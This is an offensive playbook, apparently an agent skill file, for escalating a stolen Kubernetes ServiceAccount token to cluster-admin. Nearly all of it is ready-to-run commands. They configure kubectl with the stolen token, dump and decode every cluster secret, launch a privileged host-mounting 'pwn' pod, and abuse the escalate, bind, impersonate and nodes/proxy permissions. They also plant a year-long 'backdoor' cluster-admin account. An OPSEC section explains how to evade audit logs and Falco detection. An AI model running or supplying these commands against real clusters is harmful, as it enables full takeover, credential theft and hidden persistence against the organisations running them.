Kubernetes RBAC Privilege Escalation
You have a Kubernetes ServiceAccount token (from a pod escape, kubeconfig leak, or compromised CI runner). Find the path from this SA to cluster-admin.
Phase 1: Enumerate current permissions
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER=https://kubernetes.default.svc
# Set up kubectl with the stolen token
kubectl config set-credentials hacked --token="$TOKEN"
kubectl config set-cluster c --server=$APISERVER --insecure-skip-tls-verify
kubectl config set-context c --cluster=c --user=hacked --namespace=$NS
kubectl config use-context c
# Enumerate everything you can do
kubectl auth can-i --list # in your namespace
kubectl auth can-i --list --all-namespaces # cluster-wide (often forbidden — that's a signal too)
kubectl auth can-i '*' '*' --all-namespaces # are you cluster-admin?
# Get your role bindings
kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name | contains("YOUR_SA_NAME"))'
Phase 2: Classic escalation paths
2.1 pods/exec or pods/attach on a privileged pod
If you can exec into a pod that has a privileged SecurityContext or a sensitive volume mount, you take that pod's identity:
# Find pods you can exec into
kubectl auth can-i create pods/exec
# Find privileged pods
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"'
# Exec → escape (see k8s-pod-escape skill)
kubectl exec -it -n kube-system privileged-pod-name -- /bin/sh
2.2 secrets get/list cluster-wide
# Dump every secret in the cluster
kubectl get secrets -A -o json > all_secrets.json
# Service-account tokens, image-pull secrets, custom-application secrets — all here
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name): \(.data.token | @base64d)"' all_secrets.json | head
# Pick a more-privileged SA token and re-authenticate
NEW_TOKEN=$(kubectl get secret -n kube-system $(kubectl get sa -n kube-system -o name | head -1 | cut -d/ -f2)-token-XXXXX -o jsonpath='{.data.token}' | base64 -d)
kubectl --token="$NEW_TOKEN" auth can-i '*' '*' --all-namespaces
2.3 create pods — run a privileged pod yourself
Even without exec on existing pods, if you can CREATE pods you can build one that mounts the host:
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pwn
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "sh"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
EOF
kubectl exec -it pwn -- /bin/sh
If PSP / Pod Security Admission blocks privileged: true, downgrade gradually: hostPath: /, hostPID alone, capabilities: [SYS_ADMIN], etc. PSA's restricted profile blocks all of these; baseline blocks privileged + hostPath but allows hostPID; privileged allows everything.
2.4 escalate verb
The escalate verb on roles/clusterroles lets you create a role with permissions you DON'T have:
kubectl auth can-i escalate clusterroles
# If "yes":
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: total-pwn
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
EOF
# Then bind it to your SA
kubectl create clusterrolebinding pwn --clusterrole=total-pwn --serviceaccount=$NS:default
2.5 bind verb
The bind verb lets you bind an existing higher-privilege ClusterRole to your SA:
kubectl auth can-i create clusterrolebindings
# OR
kubectl auth can-i bind clusterroles
# Either gives you escalation to cluster-admin:
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=$NS:default
2.6 impersonate verb
kubectl auth can-i impersonate users
# If yes, impersonate cluster-admin:
kubectl --as=system:admin auth can-i '*' '*' --all-namespaces
kubectl --as=system:admin get secrets -A
# Or impersonate a group:
kubectl --as=anything --as-group=system:masters get secrets -A
2.7 nodes/proxy — bypass RBAC via kubelet
kubectl auth can-i get nodes/proxy
# If yes, talk to the kubelet directly (bypasses the API server's RBAC)
kubectl proxy --port=8080 &
curl -sk http://localhost:8080/api/v1/nodes/$NODE/proxy/run/POD_NS/POD_NAME/CONTAINER -X POST -d 'cmd=id'
Phase 3: Token persistence
# Create a long-lived SA token (k8s 1.24+ doesn't auto-mount tokens forever)
kubectl create token your-sa --duration=720h # 30-day token
# Or create an SA + ClusterRoleBinding pair that survives revocation of yours
kubectl create sa backdoor -n kube-system
kubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor
TOKEN=$(kubectl create token backdoor -n kube-system --duration=8760h) # 1 year
OPSEC
- Every
kubectlcall hits the API server audit log.kubectl auth can-i --listcalls SelfSubjectRulesReview — distinctive in audit logs. - Falco and Sysdig rules flag
create-clusterrolebinding,impersonate, andnodes/proxyaccess. - Token theft from etcd / pod-filesystem leaves no audit trail until the token is USED — separate the steal and the use in time if possible.
- Prefer
--user-agentmatching the kubectl version already in use on the cluster to blend in.
References
- Kubernetes RBAC docs
- BadPods (Bishop Fox) — every PSA bypass class
- DEFCON 30 "Hacking Kubernetes" — Madhu Akula / Andrew Martin
- KubiScan — tools for the defender side